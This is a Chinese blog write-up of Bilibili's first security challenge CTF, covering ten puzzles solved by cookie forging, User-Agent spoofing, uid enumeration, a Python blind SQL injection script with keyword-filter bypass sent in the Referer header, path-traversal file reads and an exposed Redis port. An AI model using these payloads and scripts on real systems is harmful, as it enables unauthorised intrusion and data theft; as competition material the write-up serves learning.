Bilibili “首届安全挑战赛” Write Up

Bilibili “首届安全挑战赛” Write Up

20-10-27 更新 6、7、9 题解法

B 站猜猜猜,DotA里叫”意识“,数学里叫“直觉得出”、“一眼看出”

本人半路出家,靠自己只做到第五题,第六题只做到 jsfuck,第八题想到 redis (其实之前几题就扫到了 redis 端口)但是连接部分还是看网络高手的题解,毕竟平时不常用 redis-cli

链接

第一题

直接在页面打开开发者工具,flag1 在 hidden 属性的 input 标签里Bilibili “首届安全挑战赛” Write Up

第二题

与第一题的页面相同,在第一题 input 标签下方

需要使用bilibili Security Browser浏览器访问~

明示的很明显了,改 UA 即可Bilibili “首届安全挑战赛” Write UpBilibili “首届安全挑战赛” Write Up

第三题

开始有趣的猜猜猜环节,密码比女孩的心思还难猜

“后台管理系统”用户名当然是 admin,密码跑字典是没用的,就是 bilibiliBilibili “首届安全挑战赛” Write Up

我先是自造字典:22 33 陈睿 大会员 都排列组合了一遍

后来又 SQL 注入,均无果(估计这里根本就没用 SQL——老邢”用不用 SQL 没有章法,怎么注?怎么注?没法注“.jpg)

第四题

打开第四题的页面后,多出一个名为 role 的 cookie,将其值 md5 解码后得到 userBilibili “首届安全挑战赛” Write Up

界面上又有

有些秘密只有超级管理员才能看见哦~

明示的又很明显,将 role cookie 的值更改为“超级管理员”的 md5 即可,但是,你猜 B 站的超级管理员叫什么?

不是 superadmin(superadmin.html is a trap!),不是 Superadmin,不是 SuperAdmin,不是 admin,不是 Admin,不是 administrator

是 Administrator(Windows 喜笑颜开)

Bilibili “首届安全挑战赛” Write UpBilibili “首届安全挑战赛” Write Up

第五题

直接查看页面源代码,验证部分包含 uid 100336889

直接从这个 uid 递增查询 api(往死里 D),注意要添加 session cookie,否则会返回 406 提示没登录

import requests

url = "http://45.113.201.36/api/ctf/5?uid="

cookie = {"session":""}

for i in range(100336889, 100336889 + 100):
    resp = requests.get(url=url + str(i), cookies=cookie).json()
    print(str(resp["code"]) + "\t" + resp["data"] + "\t" + resp["msg"])

Bilibili “首届安全挑战赛” Write UpBilibili “首届安全挑战赛” Write Up

第六题

来自榜一 Write Up

python 代码,来自 关于第六题思路

import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,36):
    left=33
    right=128

    while right-left!=1:
        mid=(left+right)//2
        payload="0123'^if(substr((selselectect flag from flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
        headers={
        'Referer':payload
        }
        r=requests.get(url=url,headers=headers)
        if len(r.text) == 5596:
            left=mid
        else:
            right=mid
    flag+=chr(right)
print (flag)

第七题

来自榜一 Write Up

考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png 并且有些有注释掉的banner.png,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是
http://45.113.201.36/api/images?file=../../../flag7.txt(比赛结束后已失效)
(任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的../../../flag7.txt,会让一些本来会做的人不会做了,一般的求解方式都是先判断 ?file=./banner.png是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了)

第八题

扫描第六题给出的 IP 地址的端口,发现端口 6379 开启了 redis,使用 redis 连接,得到 flag8

Bilibili “首届安全挑战赛” Write UpBilibili “首届安全挑战赛” Write Up

第九题

来自榜一 Write Up

http://45.113.201.36/api/images?file=../../../secret.txt(比赛结束已失效) 脑洞依然很大,得到一串加密的message,根据密文长度猜测是分组密码加密的,但是没有脑洞到解密的密钥,所以没人能解出
(这题脑洞巨大,导致所有人都卡住了)

第十题

第六题在写这篇文章的时候已经 404 了,并且改了 IP 地址,之前是 120 开头的地址,说一下思路:

打开的页面是一个 php 博客,使用 dirsearch 扫一下页面可以发现 test.php 页面,打开后是 jsfuck,jsunfuck 后得到

var xxx1= "程序员最多的地方"
var xxx2 = "bilibili1024havefun"
console.log()

大概是这样的代码,程序员最多的地方就是 GitHub,在 GitHub 搜索 “bilibili1024havefun”,找到 repo https://github.com/interesting-1024/end

其中代码逻辑为验证 URL 参数是否合法,合法则显示文件内容

最终的 URL 参数为 http://45.113.201.36/blog/end.php?id=[]=&url=./flag.txt,得到一张图片

将图片下载到本地,用编辑器打开,在最后一行会得到 flag10 —— 最后一题的 flag,如第六题题目所说“结束亦是开始”

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据